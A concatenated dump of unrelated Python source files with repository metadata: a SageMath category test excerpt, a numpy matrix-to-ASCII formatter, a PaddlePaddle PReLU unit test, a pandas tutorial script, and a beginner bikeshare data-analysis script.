:class:`Blahs`\n    \"\"\"\n\n    def super_categories(self):\n        \"\"\"\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import TestObjects\n            sage: TestObjects().super_categories()\n            [Category of bars]\n            sage: TestSuite(TestObjects()).run()\n        \"\"\"\n        return [Bars()]\n\n    class FiniteDimensional(CategoryWithAxiom):\n         class Finite(CategoryWithAxiom):\n              pass\n         class Unital(CategoryWithAxiom):\n              class Commutative(CategoryWithAxiom):\n                   pass\n\n    class Commutative(CategoryWithAxiom):\n         class Facade(CategoryWithAxiom):\n             pass\n         class FiniteDimensional(CategoryWithAxiom):\n             pass\n         class Finite(CategoryWithAxiom):\n             pass\n\n    class Unital(CategoryWithAxiom):\n        pass\n\nclass TestObjectsOverBaseRing(Category_over_base_ring):\n    r\"\"\"\n    A toy singleton category, for testing purposes.\n\n    .. SEEALSO:: :class:`Blahs`\n    \"\"\"\n\n    def super_categories(self):\n        \"\"\"\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import TestObjectsOverBaseRing\n            sage: TestObjectsOverBaseRing(QQ).super_categories()\n            [Category of test objects]\n            sage: TestObjectsOverBaseRing.Unital.an_instance()\n            Category of unital test objects over base ring over Rational Field\n            sage: TestObjectsOverBaseRing.FiniteDimensional.Unital.an_instance()\n            Category of finite dimensional unital test objects over base ring over Rational Field\n            sage: TestSuite(TestObjectsOverBaseRing(QQ).FiniteDimensional().Unital().Commutative()).run()\n        \"\"\"\n        return [TestObjects()]\n\n    class FiniteDimensional(CategoryWithAxiom_over_base_ring):\n         class Finite(CategoryWithAxiom_over_base_ring):\n              pass\n         class Unital(CategoryWithAxiom_over_base_ring):\n              class Commutative(CategoryWithAxiom_over_base_ring):\n                   pass\n\n    class Commutative(CategoryWithAxiom_over_base_ring):\n         class Facade(CategoryWithAxiom_over_base_ring):\n             pass\n         class FiniteDimensional(CategoryWithAxiom_over_base_ring):\n             pass\n         class Finite(CategoryWithAxiom_over_base_ring):\n             pass\n\n    class Unital(CategoryWithAxiom_over_base_ring):\n        pass\n\n", "meta": {"hexsha": "fc5e45bb9b88cc5e6953d8e4e584761062ab5595", "size": 112270, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/categories/category_with_axiom.py", "max_stars_repo_name": "defeo/sage", "max_stars_repo_head_hexsha": "d8822036a9843bd4d75845024072515ede56bcb9", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/categories/category_with_axiom.py", "max_issues_repo_name": "defeo/sage", "max_issues_repo_head_hexsha": "d8822036a9843bd4d75845024072515ede56bcb9", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/categories/category_with_axiom.py", "max_forks_repo_name": "defeo/sage", "max_forks_repo_head_hexsha": "d8822036a9843bd4d75845024072515ede56bcb9", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.254571531, "max_line_length": 167, "alphanum_fraction": 0.6767079362, "include": true, "reason": "import sage,from sage", "num_tokens": 26255, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.14414885303274058, "lm_q1q2_score": 0.06869841007957261}}
{"text": "import numpy as np\n\n\ndef decorate(a: np.ndarray):\n    \"\"\"\n    Takes a two dimensional numpy matrix and returns a string representation surrounded by brackets.\n\n    example:\n    >>> a = np.array([[1,2,3],[4,5,6],[7,8,9]])\n    >>> a\n    array([[1, 2, 3],\n           [4, 5, 6],\n           [7, 8, 9]])\n    >>> decorate(a)\n    '\u250c       \u2510\\n| 1 2 3 |\\n| 4 5 6 |\\n| 7 8 9 |\\n\u2514       \u2518'\n    >>> print(decorate(a))\n    \u250c       \u2510\n    | 1 2 3 |\n    | 4 5 6 |\n    | 7 8 9 |\n    \u2514       \u2518\n    \"\"\"\n    if a.ndim != 2:\n        raise ValueError(\n            \"ndarray has ndim {} and shape {}. Only arrays with ndim = 2 are considered for decoration\".format(a.ndim,\n                                                                                                               a.shape))\n    fmt = gen_format_string(a)\n    ret = fmt.format(*a.flatten())\n    return ret\n\n\ndef decorate_aug(a: np.ndarray, b: np.ndarray):\n    \"\"\"\n    Takes A and b from an equation A*x=b and returns the augmented form as string.\n\n    example:\n    >>> a = np.array([[1,2,3],[4,5,6],[7,8,9]])\n    >>> b = np.array([[1],[2],[3]])\n    >>> decorate_aug(a,b)\n    '\u250c           \u2510\\n| 1 2 3 | 1 |\\n| 4 5 6 | 2 |\\n| 7 8 9 | 3 |\\n\u2514           \u2518'\n    >>> print(decorate_aug(a,b))\n    \u250c           \u2510\n    | 1 2 3 | 1 |\n    | 4 5 6 | 2 |\n    | 7 8 9 | 3 |\n    \u2514           \u2518\n\"\"\"\n    if a.ndim != 2:\n        raise ValueError(\n            \"ndarray A has ndim {} and shape {}. Only arrays with ndim = 2 are considered for decoration\".format(a.ndim,\n                                                                                                                 a.shape))\n    if b.ndim != 2:\n        raise ValueError(\n            \"ndarray b has ndim {} and shape {}. Only arrays with ndim = 2 are considered for decoration\".format(b.ndim,\n                                                                                                                 b.shape))\n    if a.shape[0] != b.shape[0]:\n        raise ValueError(\"A and b must have same amount of columns\")\n\n    delim = np.array([\"|\" for x in b], dtype=\"str\")\n    delim = delim.reshape((-1, 1))\n    ab = np.concatenate((a, delim, b), axis=1)\n    fmt = gen_format_string(ab)\n    ret = fmt.format(*ab.flatten())\n    return ret\n\n\ndef gen_format_string(a: np.array):\n    \"\"\"\n    Generates a matrix format in the shape of a.\n    >>> a = np.array([[1,2,3],[4,5,6],[7,8,9]])\n    print(gen_format_string(a))\n    \u250c       \u2510\n    |{:>2}{:>2}{:>2} |\n    |{:>2}{:>2}{:>2} |\n    |{:>2}{:>2}{:>2} |\n    \u2514       \u2518\n\n    The template can be rendered with the help of the unboxing operator, e.g.:\n    >>> gen_format_string(a).format(*a.flatten())\n    or\n    >>> gen_format_string(a).format(*[x for x in np.nditer(a)])\n    \"\"\"\n    str_arr = copy_as_str(a)\n    max_lens = max_len_in_col(str_arr) + 1\n    rows = a.shape[0]\n    inner_juice = \"\".join(map(lambda x: \"{{:>{}}}\".format(x), max_lens))\n    # bad readability :(, but apparently faster than invoking list constructor like with [map(lambda x: \" \", max_lens)]\n    spacers = *map(lambda x: \" \", max_lens),\n    header = \"\u250c\" + inner_juice.format(*spacers) + \" \u2510\\n\"\n    body = \"\"\n    for x in range(rows):\n        body += \"|\" + inner_juice + \" |\\n\"\n    footer = \"\u2514\" + inner_juice.format(*spacers) + \" \u2518\"\n\n    ret = header + body + footer\n    return ret\n\n\n# returns a Matrix with elementwise string casts. Numpy's cast or string reps create fractions of the elements :/\ndef copy_as_str(a: np.array):\n    \"\"\"\n    Creates a deep copy of a with each element cast to string.\n    \"\"\"\n    matrix_like = []\n    for x in np.nditer(a):\n        matrix_like.append(str(x))\n    str_arr = np.array(matrix_like, dtype=\"str\")\n    str_arr = str_arr.reshape(a.shape)\n    return str_arr\n\n\n# returns col vector with the maximum string length in column of matrix\ndef max_len_in_col(str_arr: np.array):\n    \"\"\"\n    \u250c                \u2510\n    | '1' '2'   '3'  |\n    | '4' '555' '60' |     =>    [1,3,2]\n    | '7' '8'   '9'  |\n    \u2514                \u2518\n    \"\"\"\n    len_arr = np.char.str_len(str_arr)\n    return np.max(len_arr, axis=0)\n", "meta": {"hexsha": "c3e5ee8e60dce825a8a9c28524a5ee490a644878", "size": 4030, "ext": "py", "lang": "Python", "max_stars_repo_path": "la_edu/la_edu/matrix_to_ascii.py", "max_stars_repo_name": "devoli170/python_utils", "max_stars_repo_head_hexsha": "82c240cf273240bb096ae9c75ec9601c4e05f183", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "la_edu/la_edu/matrix_to_ascii.py", "max_issues_repo_name": "devoli170/python_utils", "max_issues_repo_head_hexsha": "82c240cf273240bb096ae9c75ec9601c4e05f183", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-10-12T08:08:38.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-12T08:08:38.000Z", "max_forks_repo_path": "la_edu/la_edu/matrix_to_ascii.py", "max_forks_repo_name": "devoli170/python_utils", "max_forks_repo_head_hexsha": "82c240cf273240bb096ae9c75ec9601c4e05f183", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7642276423, "max_line_length": 122, "alphanum_fraction": 0.4878411911, "include": true, "reason": "import numpy", "num_tokens": 1189, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.14414884935602928, "lm_q1q2_score": 0.06869840832732682}}
{"text": "#   Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport paddle.fluid as fluid\nimport six\nimport paddle.fluid as fluid\nfrom paddle.fluid import Program, program_guard\nfrom op_test import OpTest, skip_check_grad_ci\n\n\nclass TestPReluAPIError(unittest.TestCase):\n    def test_errors(self):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            layer = fluid.PRelu(\n                mode='all',\n                param_attr=fluid.ParamAttr(\n                    initializer=fluid.initializer.Constant(1.0)))\n            # the input must be Variable.\n            x0 = fluid.create_lod_tensor(\n                np.array([-1, 3, 5, 5]), [[1, 1, 1, 1]], fluid.CPUPlace())\n            self.assertRaises(TypeError, layer, x0)\n            # the input dtype must be float32\n            data_t = fluid.data(\n                name=\"input\", shape=[5, 200, 100, 100], dtype=\"float64\")\n            self.assertRaises(TypeError, layer, data_t)\n\n\nclass PReluTest(OpTest):\n    def setUp(self):\n        self.init_input_shape()\n        self.init_attr()\n        self.op_type = \"prelu\"\n\n        x_np = np.random.uniform(-1, 1, self.x_shape)\n        # Since zero point in prelu is not differentiable, avoid randomize\n        # zero.\n        x_np[np.abs(x_np) < 0.005] = 0.02\n\n        if self.attrs == {'mode': \"all\"}:\n            alpha_np = np.random.uniform(-1, -0.5, (1))\n        elif self.attrs == {'mode': \"channel\"}:\n            alpha_np = np.random.uniform(-1, -0.5, (1, x_np.shape[1], 1, 1))\n        else:\n            alpha_np = np.random.uniform(-1, -0.5, \\\n                (1, x_np.shape[1], x_np.shape[2], x_np.shape[3]))\n        self.inputs = {'X': x_np, 'Alpha': alpha_np}\n\n        out_np = np.maximum(self.inputs['X'], 0.)\n        out_np = out_np + np.minimum(self.inputs['X'],\n                                     0.) * self.inputs['Alpha']\n        assert out_np is not self.inputs['X']\n        self.outputs = {'Out': out_np}\n\n    def init_input_shape(self):\n        self.x_shape = (2, 100, 3, 4)\n\n    def init_attr(self):\n        self.attrs = {'mode': \"channel\"}\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad(self):\n        self.check_grad(['X', 'Alpha'], 'Out')\n\n\n# TODO(minqiyang): Resume these test cases after fixing Python3 CI job issues\nif six.PY2:\n\n    @skip_check_grad_ci(\n        reason=\"[skip shape check] Input(Alpha) must be 1-D and only has one data in 'all' mode\"\n    )\n    class TestModeAll(PReluTest):\n        def init_input_shape(self):\n            self.x_shape = (2, 3, 4, 5)\n\n        def init_attr(self):\n            self.attrs = {'mode': \"all\"}\n\n    class TestModeElt(PReluTest):\n        def init_input_shape(self):\n            self.x_shape = (3, 2, 5, 10)\n\n        def init_attr(self):\n            self.attrs = {'mode': \"element\"}\n\n\nclass TestPReluOpError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program()):\n            # The input type must be Variable.\n            self.assertRaises(TypeError, fluid.layers.prelu, 1, 'all')\n            # The input dtype must be float16, float32, float64.\n            x_int32 = fluid.data(name='x_int32', shape=[12, 10], dtype='int32')\n            self.assertRaises(TypeError, fluid.layers.prelu, x_int32, 'all')\n            # support the input dtype is float32\n            x_fp16 = fluid.layers.data(\n                name='x_fp16', shape=[12, 10], dtype='float32')\n            fluid.layers.prelu(x_fp16, 'all')\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "a2ee49e594318dfc6710d7bb6c0896c75d77a4c5", "size": 4138, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_prelu_op.py", "max_stars_repo_name": "xyzhou-puck/Paddle", "max_stars_repo_head_hexsha": "600cb8c828c8f0b4945820aa6cd801b20f4613a3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-06-13T11:32:16.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-13T11:32:16.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_prelu_op.py", "max_issues_repo_name": "xyzhou-puck/Paddle", "max_issues_repo_head_hexsha": "600cb8c828c8f0b4945820aa6cd801b20f4613a3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_prelu_op.py", "max_forks_repo_name": "xyzhou-puck/Paddle", "max_forks_repo_head_hexsha": "600cb8c828c8f0b4945820aa6cd801b20f4613a3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-08-16T12:03:28.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-03T13:02:57.000Z", "avg_line_length": 34.7731092437, "max_line_length": 96, "alphanum_fraction": 0.6075398743, "include": true, "reason": "import numpy", "num_tokens": 1044, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.14608724518943897, "lm_q1q2_score": 0.06848433121445881}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 14 19:28:11 2020\r\n\r\n@author: Ray\r\n@email: 1324789704@qq.com\r\n@wechat: RayTing0305\r\n\"\"\"\r\n\r\n###chapter5\r\n\r\nimport pandas as pd\r\nfrom pandas import Series, DataFrame\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nnp.random.seed(12345)\r\nplt.rc('figure', figsize=(10, 6))\r\nPREVIOUS_MAX_ROWS = pd.options.display.max_rows\r\npd.options.display.max_rows = 20\r\nnp.set_printoptions(precision=4, suppress=True)\r\n\r\n\r\n### Series\r\n\r\nobj = pd.Series([4, 7, -5, 3])\r\nobj_array = obj.values\r\nobj_range = obj.index\r\n\r\nobj2 = pd.Series([4, 7, -5, 3], index=['d', 'b', 'a', 'c'])\r\nobj2_array = obj2.values\r\nobj2_range = obj2.index\r\n\r\nobj3 = obj2[['a','c','d']]\r\nobj3_array = obj3.values\r\nobj3_range = obj3.index\r\n\r\nobj4 = obj2[obj2>0]\r\nobj5 = obj2*2\r\nobj6 = np.exp(obj2)\r\n\r\n#print('b' in obj2)\r\n#print('e' in obj2)\r\n\r\n\r\nsdata = {'Ohio': 35000, 'Texas': 71000, 'Oregon': 16000, 'Utah': 5000}\r\nobj7 = pd.Series(sdata)\r\n\r\nstates = ['California', 'Ohio', 'Oregon', 'Texas']\r\nobj8 = pd.Series(sdata, index=states)\r\n\r\n#print(pd.isnull(obj8))\r\n#print(pd.notnull(obj8))\r\n\r\nobj9 = obj7 + obj8\r\n\r\nobj8.name = 'population'\r\nobj8.index.name = 'state'\r\n\r\n\r\n\r\n####DataFrame\r\n\r\ndata = {'state': ['Ohio', 'Ohio', 'Ohio', 'Nevada', 'Nevada', 'Nevada'],\r\n        'year': [2000, 2001, 2002, 2001, 2002, 2003],\r\n        'pop': [1.5, 1.7, 3.6, 2.4, 2.9, 3.2]}\r\nframe = pd.DataFrame(data)\r\nprint(frame.state)\r\n#print(frame.head())\r\n#print(frame.columns)\r\n\r\nframe = pd.DataFrame(data, columns=['year', 'state', 'pop'])\r\n\r\nframe2 = pd.DataFrame(data, columns=['year', 'state', 'pop', 'debt'],\r\n                      index=['one', 'two', 'three', 'four',\r\n                             'five', 'six'])\r\nfc1 = frame2['state']\r\nfc2 = frame2.state\r\n#print(fc1==fc2)\r\n#print(id(fc1)==id(fc2))\r\n\r\nfr1 = frame2.loc['two']\r\n#print(fr1)\r\n\r\nframe2['debt'] = np.arange(6.)\r\n#print(frame2)\r\n\r\nval = pd.Series([-1.2, -1.5, -1.7], index=['two', 'four', 'five'])\r\nframe2['debt'] = val\r\n#print(frame2)\r\n\r\nframe2['eastern'] = frame2.state == 'Ohio'\r\n\r\ndel frame2['eastern']\r\n\r\npop = {'Nevada': {2001: 2.4, 2002: 2.9},\r\n       'Ohio': {2000: 1.5, 2001: 1.7, 2002: 3.6}}\r\nframe3 = pd.DataFrame(pop)\r\n\r\n#print(frame3.T)\r\n\r\nframe4 = pd.DataFrame(pop, index=[2001, 2002, 2003])\r\n\r\npdata = {'Ohio': frame3['Ohio'][:-1],\r\n         'Nevada': frame3['Nevada'][:2]}\r\nframe5 = pd.DataFrame(pdata)\r\n\r\nframe3.index.name='year'\r\nframe3.columns.name = 'state'\r\n#print(frame3.values)\r\n\r\n### Index Objects\r\nobj = pd.Series(range(3), index=['a', 'b', 'c'])\r\nindex = obj.index\r\n\r\n##index[1] = 'd' # TypeError\r\n\r\nlabels = pd.Index(np.arange(3))\r\ndup_labels = pd.Index(['foo', 'foo', 'bar', 'bar'])\r\nframe6 = pd.Series(np.arange(4), index = dup_labels)\r\n#print(frame6['foo'])\r\n\r\n\r\n### Essential Functionality\r\n\r\nobj  = pd.Series([4.5, 7.2, -5.3, 3.6], index=['d', 'b', 'a', 'c'])\r\nobj2 = obj.reindex(['a', 'b', 'c', 'd', 'e'])\r\nobj3 = pd.Series(['blue', 'purple', 'yellow'], index=[0, 2, 4])\r\nobj4 = obj3.reindex(range(6), method='ffill')\r\n\r\nframe = pd.DataFrame(np.arange(9).reshape((3, 3)),\r\n                     index=['a', 'c', 'd'],\r\n                     columns=['Ohio', 'Texas', 'California'])\r\nframe2 = frame.reindex(['a', 'b', 'c', 'd'])\r\n\r\nstates = ['Texas', 'Utah', 'California']\r\nframe3 = frame.reindex(columns=states)\r\n\r\n#fr = frame.loc[['a', 'c'], states]\r\n\r\n\r\n## Dropping Entries from an Axis\r\nobj = pd.Series(np.arange(5.), index=['a', 'b', 'c', 'd', 'e'])\r\nnew_obj = obj.drop(['c', 'd'])\r\n\r\n\r\nobj = pd.Series(np.arange(4.), index=['a', 'b', 'c', 'd'])\r\nobj2 = obj[['b', 'a', 'd']]\r\nobj3 = obj[[1, 3]]\r\nobj4 = obj[obj<2]\r\nobj5 = obj['b':'e']\r\nobj['b':'c'] = 5\r\n\r\ndata = pd.DataFrame(np.arange(16).reshape((4, 4)),\r\n                    index=['Ohio', 'Colorado', 'Utah', 'New York'],\r\n                    columns=['one', 'two', 'three', 'four'])\r\n#print(data)\r\n#print(data[:2])\r\n#print(data[data['three']>5])\r\n#data[data<5]=0\r\n#print(data)\r\n\r\nloc = data.loc['Colorado', ['two', 'three']]\r\n\r\nloc2 = data.iloc[2, [3, 0, 1]]\r\n#print(loc2)\r\nloc3 = data.iloc[2]\r\nloc4 = data.iloc[[1, 2], [3, 0, 1]]\r\n#print(loc4)\r\nloc5 = data.iloc[:, :3][data.three > 5]\r\n#print(loc5)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "f79532b3452df6d760a153a5cbfbeeb012b0afde", "size": 4201, "ext": "py", "lang": "Python", "max_stars_repo_path": "week2/week2.py", "max_stars_repo_name": "RayshineRen/Introduction_to_Data_Science_in_Python", "max_stars_repo_head_hexsha": "b19aa781a8f8d0e25853c4e86dadd4c9bebbcd71", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-22T15:06:02.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-22T15:06:02.000Z", "max_issues_repo_path": "week2/week2.py", "max_issues_repo_name": "RayshineRen/Introduction_to_Data_Science_in_Python", "max_issues_repo_head_hexsha": "b19aa781a8f8d0e25853c4e86dadd4c9bebbcd71", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-11-03T14:11:02.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-03T14:24:50.000Z", "max_forks_repo_path": "week2/week2.py", "max_forks_repo_name": "RayshineRen/Introduction_to_Data_Science_in_Python", "max_forks_repo_head_hexsha": "b19aa781a8f8d0e25853c4e86dadd4c9bebbcd71", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-09-22T05:27:09.000Z", "max_forks_repo_forks_event_max_datetime": "2020-11-05T10:39:49.000Z", "avg_line_length": 21.4336734694, "max_line_length": 73, "alphanum_fraction": 0.5570102357, "include": true, "reason": "import numpy", "num_tokens": 1391, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.468790611783139, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.06848433078889969}}
{"text": "import time\nimport datetime as dt\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n            city = str(input('name of the city to analyse:')).lower()\n            if city == 'chicago':\n                city ='chicago.csv'\n            elif city == 'new york city':\n                city = 'new_york_city.csv'\n            elif city == 'washington':\n                city = 'washington.csv'\n            else: \n                print('I do not get that')\n            break\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    while True:\n            month = str(input('name of the month to filter by, or \"all\" to apply no month filter:')).lower()\n            months = ['january', 'february', 'march', 'april', 'may', 'june']\n            if month == 'january':\n                month = months[0]\n            elif month == 'february':\n                month = months[1]\n            elif month == 'march':\n                month = months[2]\n            elif month == 'april':\n                month = months[3]\n            elif month =='may':\n                month = months[4]\n            elif month == 'june':\n                month = months[5]\n            elif month == \"all\":\n                print('all')\n            else: \n                print('I did not get that')\n            break \n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    while True:\n            day = str(input('name of the day of week to filter by, or \"all\" to apply no day filter:')).lower()\n            days = ['monday', 'tuesday', 'wednesday','thursday', 'friday', 'saturday', 'sunday']\n\n            if day == 'monday':\n                day = days[0]\n            elif day == 'tuesday':\n                day = days[1]\n            elif day == 'wednesday':\n                day = days[2]\n            elif day == 'thursday':\n                day = days[3]\n            elif day =='friday':\n                day = days[4]\n            elif day == 'saturday':\n                day = days[5]\n            elif day == 'sunday':\n                day = days[6]\n            elif day == 'all':\n                print('all')\n            else: \n                print('I did not get that')\n            break\n\n    print('-'*40)\n    return city, month, day\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"    \n     # load data file into a dataframe\n    df = pd.read_csv(city)\n\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n    # filter by month if applicable\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        months = ['january', 'february', 'march', 'april', 'may', 'june']\n        month = months.index(month) + 1\n\n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'all':\n        # filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n    return df\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    month_mode = pd.Series(pd.DatetimeIndex(df['Start Time'])).dt.month.mode()\n    print(\"Most Common Month :\", month_mode, sep = \" \")\n    \n    # TO DO: display the most common day of week\n    \n    weekday_mode = pd.Series(pd.DatetimeIndex(df['Start Time'])).dt.weekday_name.mode()\n    print(\"Most Common Day of the Week :\",weekday_mode, sep = \" \")\n\n    # TO DO: display the most common start hour\n    \n    hour_mode = pd.Series(pd.DatetimeIndex(df['Start Time'])).dt.hour.mode()\n    print (\"Most Common Start Hour :\",hour_mode, sep = \" \")    \n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    ss = df['Start Station']\n    start_station = ss.mode()\n    print (\"Most Common Used Start Station :\",start_station,sep = \" \")\n\n    # TO DO: display most commonly used end station\n    es = df['Start Station'].mode()\n    print(\"Most Common Used End Station:\",es, sep = \" \")\n\n\n    # TO DO: display most frequent combination of start station and end station trip\n    df[\"frequent stations\"] = df[\"Start Station\"].map(str) + \" to \" + df[\"End Station\"]\n    fs_mode = df[\"frequent stations\"].mode()\n    print (\"Most Frequent Combination of Start and End Station:\", fs_mode, sep = \" \")\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    ttt = df['Trip Duration'].sum()\n    print(\"Total Travel Time:\",ttt, sep = \" \")\n\n\n    # TO DO: display mean travel time\n    td_mean = df['Trip Duration'].mean()\n    print (\"Mean Travel :\",td_mean, sep= \" \")\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    Subscribers = len(df[df[\"User Type\"] == \"Subscriber\"])\n    Customers = len(df[df[\"User Type\"] == \"Customer\"])\n    print ('subscribers:' , Subscribers, sep = \" \")\n    print ('customers:', Customers, sep = \" \")\n\n\n    # TO DO: Display counts of gender\n    try:    \n        Males = len(df[df[\"Gender\"] == \"Male\"])\n        Females = len(df[df[\"Gender\"] == \"Female\"])\n    except:    \n        print('There is no Gender data')\n    else:\n        print('Males :', Males, sep = \" \")\n        print('Females :', Females, sep = \" \")\n\n\n    # TO DO: Display earliest, most recent, and most common year of birth\n    try:    \n        earliest = df['Birth Year'].min() \n        most_recent = df['Birth Year'].max()\n        most_common = df['Birth Year'].mode()\n    except:\n        print('There is no Birth Year data')\n    else:\n        print ('Earliest :', earliest, sep = \" \")\n        print ('Most recent :', most_recent, sep = \" \")\n        print ('Most common :', most_common, sep = \" \")\n\n        print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n        print('-'*40)\n#----------------------Descriptive Statistics-----------------------\ndef descriptive_stats(df):\n    \n    while True:\n        show_me_more = str(input('Do you need to see more data ? yes or no')).lower() \n        if show_me_more == 'yes':\n            print(df.describe())\n        else:\n            print('Done')\n        break\n        \n#-------------------------------------------------------------------\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n        descriptive_stats(df) #checking\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "6c6a7c47d252c5c159050a2c86783c4e3185a45f", "size": 8617, "ext": "py", "lang": "Python", "max_stars_repo_path": "home/bikeshare.py", "max_stars_repo_name": "hwangmpaula/Explore-US-Bikeshare-Data", "max_stars_repo_head_hexsha": "6b6b7f54a8be6f144cf4ec1101845a86218f7cb9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-09-19T01:01:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-19T01:01:12.000Z", "max_issues_repo_path": "home/bikeshare.py", "max_issues_repo_name": 